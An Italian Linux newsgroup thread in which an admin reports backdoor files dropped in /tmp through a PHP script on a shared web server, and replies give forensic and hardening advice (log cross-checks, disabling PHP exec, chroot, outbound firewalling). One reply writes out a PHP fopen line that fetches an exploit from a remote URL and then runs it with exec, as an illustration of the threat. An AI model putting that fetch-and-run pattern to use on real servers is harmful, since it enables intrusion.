Newsgroup: it.comp.os.linux.sys
Titolo: trojan in /tmp

Salve,
ho un server dove girano alcuni siti della mia azienda e di amici. Ho
trovato nella directory /tmp dei files sospetti, alcuni eseguibili che
f-prot mi segnalava come backdoor ed alcuni .pl o .c che dal codice non
lasciano spazio a dubbi purtroppo.
I permessi sono quelli di apache. La dir /tmp è inclusa nella variabile
"open_basedir" di php. Quindi credo siano stati scaricati utilizzando uno
script php tenendo conto pure che i permessi erano quelli di apache.
A questo punto.. a parte cancellare tutto e ripristinare una distro
pulita, mi potete consigliare cosa posso fare per risalire a chi o come ha
scaricato questi files? Magari sarebbe utile anche sapere quale script di
quale sito che ospito ha sfruttato.
Mi date un aiuto? Cosa mi consigliate di fare??
Grazie.


Ma sei sicuro che siano andati in esecuzione?
Se apache è ben settato può eseguire script sono in directory messe come 
scriptalias.
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
	Due linee rette s'incontrano
	all'infinito, quando ormai non gliene frega più niente

 scriptalias.
In effetti credo che non siano andati in esecuzione. Almeno dai controlli
fatti porte anomale non ce ne sono aperte e con chkrootkit e rkhunter non
trova niente. Ho trovato però in /var/tmp delle directory nascoste con
dentro gli eseguibili dei file .pl e .c trovati in /tmp
Anche se non fossero riusciti ad eseguirli, sarebbe pero' interessante
poter risalire a come e da dove li hanno scaricati. I file di log mi
possono aiutare a cio'?
Inoltre c'e' un modo per limitare l'utilizzo della dir /tmp da apache?
Sarebbe utile non so.. poter per esempio inibire la dir ai files
eseguibili o magari faccio prima con cron ad utilizzare f-prot
periodicamente su quella dir. Il problema è che f-prot quegli script perl
e c manco me li segnala come trojan! :-\


Intanto farei un bel controllino sui programmi php che fanno upload, poi 
un controllo incrociato dei log di apache su quei file e sull'ora di 
creazione deli file incriminati ti dovrebbe aiutare.
Che f-prot non li segnali è palese: sono script fatti (probabilmente) ad 
hoc e poi con una diffusione bassissima. Sarebbe come se chkrootkit ti 
segnalasse degli worm per windows!


 segnalasse degli worm per windows!
Il problema del php è anche un altro.
E' vero, si che apache esegue roba solo nelle dir scriptalias.
Ma è pur vero che php!=apache e che php ha i comandi exec, fork e popen.
Con questi comandi può eseguire quello che vuole (ergo io preferisco
disabilitarli).
Eè anche vero che non serve ad una CIPPA chiudere l'ftp o fare altre
menate... se uno è minimamente furbo, usa un include del php per caricare
ed eseguire codice remoto. Basta fare un
fopen($fp,"
http://www.s00ka.org/exploit.source
"); e hai l'exploit bello
bello sulla macchina.
Poi con un exec lo esegui e sei nella merda, soprattutto se hai un kernel
<2.4.25.
Detto questo, chroota apache e php (in modo da non lasciarci dentro shell,
wget e altre belinate simili).
Disabilita da php.ini i comandi che ti ho elencato.
Greppa nei log se trovi qualche http:// passato nell'url dei GET e greppa
nei sorci php se trovi degli include sospetti.
Aggiungo (oltretutto) che un qualunque server con accesso pubblico o dove
clienti/amici possono scaricare roba dovrebbe almeno essere installato con
grsecurity (quanto meno per loggare roba strana) e dovrebbe essere
strafirewallato IN USCITA perchè non esiste ragione al mondo che da un
server web parta una connessione http vero un altro server per scaricare
roba. Se root deve aggiornare i pacchetti, apre temporaneamente delle
porte.
Queste non sono paranoie (sono già paranoico di mio) ma sono regole minime
di manutenzione ordinaria.
Max CtRiX

 wget e altre belinate simili).
genova? :) si organizza birretta?
-- 
Memento